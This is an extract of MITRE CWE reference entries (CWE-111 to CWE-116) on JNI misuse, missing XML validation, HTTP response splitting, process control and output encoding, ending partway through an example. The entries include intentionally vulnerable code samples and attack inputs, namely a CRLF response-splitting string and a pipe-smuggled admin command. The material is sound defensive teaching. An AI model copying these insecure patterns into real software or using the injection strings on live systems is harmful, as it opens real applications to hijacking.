The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1347

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Implement error handling around the JNI call.

Phase: Implementation

Strategy = Refactoring

Do not use JNI calls if you don't trust the native library.

Phase: Implementation

Strategy = Refactoring

Be reluctant to use JNI calls. A Java API equivalent may exist.

Demonstrative Examples

Example 1:

The following code defines a class named Echo. The class declares one native method (defined below), which uses C to echo commands entered on the console back to the user. The following C code defines the native method implemented in the Echo class:

Example Language: Java *(bad)*

```
class Echo {
    public native void runEcho();
    static {
        System.loadLibrary("echo");
    }
    public static void main(String[] args) {
        new Echo().runEcho();
    }
}
```

Example Language: C *(bad)*

```
#include <jni.h>
#include "Echo.h"//the java class above compiled with javah
#include <stdio.h>
JNIEXPORT void JNICALL
Java_Echo_runEcho(JNIEnv *env, jobject obj)
{
    char buf[64];
    gets(buf);
    printf(buf);
}
```

Because the example is implemented in Java, it may appear that it is immune to memory issues like buffer overflow vulnerabilities. Although Java does do a good job of making memory operations safe, this protection does not extend to vulnerabilities occurring in source code written in other languages that are accessed using the Java Native Interface. Despite the memory protections offered in Java, the C code in this example is vulnerable to a buffer overflow because it makes use of gets(), which does not check the length of its input.

The Sun Java(TM) Tutorial provides the following description of JNI [See Reference]: The JNI framework lets your native method utilize Java objects in the same way that Java code uses these objects. A native method can create Java objects, including arrays and strings, and then inspect and use these objects to perform its tasks. A native method can also inspect and use objects created by Java application code. A native method can even update Java objects that it created or that were passed to it, and these updated objects are available to the Java application. Thus, both the native language side and the Java side of an application can create, update, and access Java objects and then share these objects between them.

The vulnerability in the example above could easily be detected through a source code audit of the native method implementation. This may not be practical or possible depending on the availability of the C source code and the way the project is built, but in many cases it may suffice. However, the ability to share objects between Java and native methods expands the potential risk to much more insidious cases where improper data handling in Java may lead to unexpected vulnerabilities in native code or unsafe operations in native code corrupt data structures in Java. Vulnerabilities

in native code accessed through a Java application are typically exploited in the same manner as they are in applications written in the native language. The only challenge to such an attack is for the attacker to identify that the Java application uses native code to perform certain operations. This can be accomplished in a variety of ways, including identifying specific behaviors that are often implemented with native code or by exploiting a system information exposure in the Java application that reveals its use of JNI [See Reference].

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	1909
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959
MemberOf	C	1151	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 17. Java Native Interface (JNI)	1133	1992

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Unsafe JNI
The CERT Oracle Secure Coding Standard for Java (2011)	SEC08-J		Define wrappers around native methods
SEI CERT Oracle Coding Standard for Java	JNI01-J		Safely invoke standard APIs that perform tasks using the immediate caller's class loader instance (loadLibrary)
SEI CERT Oracle Coding Standard for Java	JNI00-J	Imprecise	Define wrappers around native methods
Software Fault Patterns	SFP3		Use of an improper API

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-41]Fortify Software. "Fortify Descriptions". < http://vulncat.fortifysoftware.com >.

[REF-42]Beth Stearns. "The Java(TM) Tutorial: The Java Native Interface". 2005. Sun Microsystems. < http://www.eg.bucknell.edu/~mead/Java-tutorial/native1.1/index.html >.

CWE-112: Missing XML Validation

Weakness ID : 112 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software accepts XML from an untrusted source but does not validate the XML against the proper schema.

Extended Description

Most successful attacks begin with a violation of the programmer's assumptions. By accepting an XML document without validating it against a DTD or XML schema, the programmer leaves a door open for attackers to provide unexpected, unreasonable, or malicious input.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1286	Improper Validation of Syntactic Correctness of Input	1843

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2015

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Architecture and Design

Strategy = Input Validation

Always validate XML input against a known XML Schema or DTD. It is not possible for an XML parser to validate all aspects of a document's content because a parser cannot understand the complete semantics of the data. However, a parser can do a complete and thorough job of checking the document's structure and therefore guarantee to the code that processes the document that the content is well-formed.

Demonstrative Examples

Example 1:

The following code loads and parses an XML file.

Example Language: Java *(bad)*

```
// Read DOM
try {
    ...
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setValidating( false );
    ....
    c_dom = factory.newDocumentBuilder().parse( xmlFile );
} catch(Exception ex) {
    ...
```

```
}
```

The XML file is loaded without validating it against a known XML Schema or DTD.

Example 2:

The following code creates a DocumentBuilder object to be used in building an XML document.

Example Language: Java *(bad)*

```
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();
```

The DocumentBuilder object does not validate an XML document against a schema, making it possible to create an invalid XML document.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Missing XML Validation
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
230	XML Nested Payloads
231	XML Oversized Payloads

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

Weakness ID : 113 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives data from an upstream component, but does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.

Extended Description

Including unvalidated data in an HTTP header allows an attacker to specify the entirety of the HTTP response rendered by the browser. When an HTTP request contains unexpected CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n) characters

the server may respond with an output stream that is interpreted as two different HTTP responses (instead of one). An attacker can control the second response and mount attacks such as cross-site scripting and cache poisoning attacks.

HTTP response splitting weaknesses may be present when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.
2. The data is included in an HTTP response header sent to a web user without being validated for malicious characters.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	202
CanPrecede	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Access Control	Gain Privileges or Assume Identity	
	CR and LF characters in an HTTP header may give attackers control of the remaining headers and body of the response the application intends to send, as well as allowing them to create additional responses entirely under their control.	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Construct HTTP headers very carefully, avoiding the use of non-validated input data.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related

fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples

Example 1:

The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.

Example Language: Java *(bad)*

```
String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);
```

Assuming a string consisting of standard alpha-numeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:

Example Language: *(result)*

```
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
```

However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as

Example Language: *(attack)*

```
Wiley Hacker\r\nHTTP/1.1 200 OK\r\n
```

then the HTTP response would be split into two responses of the following form:

Example Language: *(result)*

```
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker HTTP/1.1 200 OK
...
```

Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including:

- cross-user defacement
- web and browser cache poisoning
- cross-site scripting
- page hijacking

Example 2:

An attacker can make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the sever.

Cross-User Defacement
This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server.

- In the best case, an attacker can leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application.
- In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Example 3:

The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user.

Cache Poisoning
If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although the user of the local browser instance will be affected.

Example 4:

Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users.

Cross-Site Scripting
Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser.
The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Example 5:

In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead.

Page Hijacking
By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker can cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Observed Examples

Reference	Description
CVE-2004-2146	Application accepts CRLF in an object ID, allowing HTTP response splitting. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2146*
CVE-2004-1620	HTTP response splitting via CRLF in parameter related to URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1620*
CVE-2004-1656	HTTP response splitting via CRLF in parameter related to URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1656*
CVE-2005-2060	Bulletin board allows response splitting via CRLF in parameter. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2060*
CVE-2005-2065	Bulletin board allows response splitting via CRLF in parameter. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2065*
CVE-2004-2512	Response splitting via CRLF in PHPSESSID. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2512*
CVE-2005-1951	Chain: Application accepts CRLF in an object ID, allowing HTTP response splitting. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1951*
CVE-2004-1687	Chain: HTTP response splitting via CRLF in parameter related to URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1687*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Theoretical

HTTP response splitting is probably only multi-factor in an environment that uses intermediaries.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			HTTP response splitting
7 Pernicious Kingdoms			HTTP Response Splitting
WASC	25		HTTP Response Splitting
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
31	Accessing/Intercepting/Modifying HTTP Cookies
34	HTTP Response Splitting
85	AJAX Fingerprinting

References

[REF-43]OWASP. "OWASP TOP 10". < http://www.owasp.org/index.php/Top_10_2007 >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-114: Process Control

Weakness ID : 114 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

Executing commands or loading libraries from an untrusted source or in an untrusted environment can cause an application to execute malicious commands (and payloads) on behalf of an attacker.

Extended Description

Process control vulnerabilities take two forms: 1. An attacker can change the command that the program executes: the attacker explicitly controls what the command is. 2. An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means. Process control vulnerabilities of the first type occur when either data enters the application from an untrusted source and the data is used as part of a string representing a command that is executed by the application. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	73	External Control of File Name or Path	125

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Libraries that are loaded should be well understood and come from a trusted source. The application can execute code contained in the native libraries, which often contain calls that are susceptible to other security problems, such as buffer overflows or command injection. All native libraries should be validated to determine if the application requires the use of the library. It is very difficult to determine what these native libraries actually do, and the potential for malicious code is high. In addition, the potential for an inadvertent mistake in these native libraries is also high, as many are written in C or C++ and may be susceptible to buffer overflow or race condition problems. To help prevent buffer overflow attacks, validate all input to native calls for content and length. If the native library does not come from a trusted source, review the source code of the library. The library should be built from the reviewed source before using it.

Demonstrative Examples

Example 1:

The following code uses System.loadLibrary() to load code from a native library named library.dll, which is normally found in a standard system directory.

Example Language: Java *(bad)*

```
...
System.loadLibrary("library.dll");
...
```

The problem here is that System.loadLibrary() accepts a library name, not a path, for the library to be loaded. From the Java 1.4.2 API documentation this function behaves as follows [1]: A file containing native code is loaded from the local file system from a place where library files are conventionally obtained. The details of this process are implementation-dependent. The mapping from a library name to a specific filename is done in a system-specific manner. If an attacker is able to place a malicious copy of library.dll higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's library.dll will now be run with elevated privileges, possibly giving them complete control of the system.

Example 2:

The following code from a privileged application uses a registry entry to determine the directory in which it is installed and loads a library file based on a relative path from the specified directory.

Example Language: C *(bad)*

```
...
RegQueryValueEx(hkey, "APPHOME",
0, 0, (BYTE*)home, &size);
char* lib=(char*)malloc(strlen(home)+strlen(INITLIB));
if (lib) {
    strcpy(lib,home);
    strcat(lib,INITCMD);
```

```
    LoadLibrary(lib);
}
...
```

The code in this example allows an attacker to load an arbitrary library, from which code will be executed with the elevated privilege of the application, by modifying a registry key to specify a different path containing a malicious version of INITLIB. Because the program does not validate the value read from the environment, if an attacker can control the value of APPHOME, they can fool the application into running malicious code.

Example 3:

The following code is from a web-based administration utility that allows users access to an interface through which they can update their profile on the system. The utility makes use of a library named liberty.dll, which is normally found in a standard system directory.

Example Language: C *(bad)*

```
LoadLibrary("liberty.dll");
```

The problem is that the program does not specify an absolute path for liberty.dll. If an attacker is able to place a malicious library named liberty.dll higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's liberty.dll will now be run with elevated privileges, possibly giving the attacker complete control of the system. The type of attack seen in this example is made possible because of the search order used by LoadLibrary() when an absolute path is not specified. If the current directory is searched before system directories, as was the case up until the most recent versions of Windows, then this type of attack becomes trivial if the attacker can execute the program locally. The search order is operating system version dependent, and is controlled on newer operating systems by the value of the registry key: HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	1955

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Process Control

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
108	Command Line Execution through SQL Injection

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-115: Misinterpretation of Input

Weakness ID : 115 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software misinterprets an input, whether from an attacker or another product, in a security-relevant fashion.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	436	Interpretation Conflict	944

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Observed Examples

Reference	Description
CVE-2005-2225	Product sees dangerous file extension in free text of a group discussion, disconnects all users. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2225*
CVE-2001-0003	Product does not correctly import and process security settings from another product. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0003*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

Notes

Research Gap

This concept needs further study. It is likely a factor in several weaknesses, possibly resultant as well. Overlaps Multiple Interpretation Errors (MIE).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Misinterpretation Error

CWE-116: Improper Encoding or Escaping of Output

Weakness ID : 116 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

Extended Description

Improper encoding or escaping can allow attackers to change the commands that are sent to another component, inserting malicious commands instead.

Most software follows a certain protocol that uses structured messages for communication between components, such as queries or commands. These structured messages can contain raw data interspersed with metadata or control information. For example, "GET /index.html HTTP/1.1" is a structured message containing a command ("GET") with a single argument ("/index.html") and metadata about which protocol version is being used ("HTTP/1.1").

If an application uses attacker-supplied inputs to construct a structured message without properly encoding or escaping, then the attacker could insert special characters that will cause the data to be interpreted as control information or metadata. Consequently, the component that receives the output will perform the wrong operations, or otherwise interpret the data incorrectly.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1362
ParentOf	B	117	Improper Output Neutralization for Logs	266
ParentOf	V	644	Improper Neutralization of HTTP Headers for Scripting Syntax	1265
ParentOf	B	838	Inappropriate Encoding for Output Context	1551
CanPrecede	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	838	Inappropriate Encoding for Output Context	1551

Applicable Platforms

Language : Language-Independent *(Prevalence = Often)*

Technology : Database Server *(Prevalence = Often)*

Technology : Web Server *(Prevalence = Often)*

Alternate Terms

Output Sanitization :

Output Validation :

Output Encoding :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.*	
Integrity Confidentiality Availability Access Control	Execute Unauthorized Code or Commands *The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.*	
Confidentiality	Bypass Protection Mechanism *The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.*	

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Effectiveness = Moderate

This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.

Phase: Architecture and Design

Strategy = Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.

Phase: Architecture and Design

Phase: Implementation

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

Phase: Architecture and Design

In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

Phase: Architecture and Design

Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

Phase: Requirements

Fully specify which encodings are required by components that will be communicating with each other.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Demonstrative Examples

Example 1:

This code displays an email address that was submitted as part of a form.

Example Language: JSP *(bad)*

```
<% String email = request.getParameter("email"); %>
...
Email Address: <%= email %>
```

The value read from the form parameter is reflected back to the client browser without having been encoded prior to output, allowing various XSS attacks (CWE-79).

Example 2:

Consider a chat application in which a front-end web application communicates with a back-end server. The back-end is legacy code that does not perform authentication or authorization, so the front-end must implement it. The chat protocol supports two commands, SAY and BAN, although only administrators can use the BAN command. Each argument must be separated by a single space. The raw inputs are URL-encoded. The messaging protocol allows multiple commands to be specified on the same line if they are separated by a "|" character.

First let's look at the back end command processor code

Example Language: Perl *(bad)*

```
$inputString = readLineFromFileHandle($serverFH);
```

```
# generate an array of strings separated by the "|" character.
@commands = split(/\|/, $inputString);
foreach $cmd (@commands) {
    # separate the operator from its arguments based on a single whitespace
    ($operator, $args) = split(/ /, $cmd, 2);
    $args = UrlDecode($args);
    if ($operator eq "BAN") {
        ExecuteBan($args);
    }
    elsif ($operator eq "SAY") {
        ExecuteSay($args);
    }
}
```

The front end web application receives a command, encodes it for sending to the server, performs the authorization check, and sends the command to the server.

Example Language: Perl *(bad)*

```
$inputString = GetUntrustedArgument("command");
($cmd, $argstr) = split(/\s+/, $inputString, 2);
# removes extra whitespace and also changes CRLF's to spaces
$argstr =~ s/\s+/ /gs;
$argstr = UrlEncode($argstr);
if (($cmd eq "BAN") && (! IsAdministrator($username))) {
    die "Error: you are not the admin.\n";
}
# communicate with file server using a file handle
$fh = GetServerFileHandle("myserver");
print $fh "$cmd $argstr\n";
```

It is clear that, while the protocol and back-end allow multiple commands to be sent in a single request, the front end only intends to send a single command. However, the UrlEncode function could leave the "|" character intact. If an attacker provides:

Example Language: *(attack)*

```
SAY hello world|BAN user12
```

then the front end will see this is a "SAY" command, and the $argstr will look like "hello world | BAN user12". Since the command is "SAY", the check for the "BAN" command will fail, and the front end will send the URL-encoded command to the back end:

Example Language: *(result)*

```
SAY hello%20world|BAN%20user12
```

The back end, however, will treat these as two separate commands:

Example Language: *(result)*

```
SAY hello world
BAN user12
```

Notice, however, that if the front end properly encodes the "|" with "%7C", then the back end will only process a single command.

Example 3:

This example takes user input, passes it through an encoding scheme and then creates a directory specified by the user.

Example Language: Perl *(bad)*

```
sub GetUntrustedInput {
    return($ARGV[0]);
}
sub encode {
    my($str) = @_;
    $str =~ s/\&/\&amp;/gs;
    $str =~ s/\"/\&quot;/gs;
    $str =~ s/\'/\&apos;/gs;
    $str =~ s/\</\&lt;/gs;
    $str =~ s/\>/\&gt;/gs;
    return($str);
}
sub doit {
    my $uname = encode(GetUntrustedInput("username"));
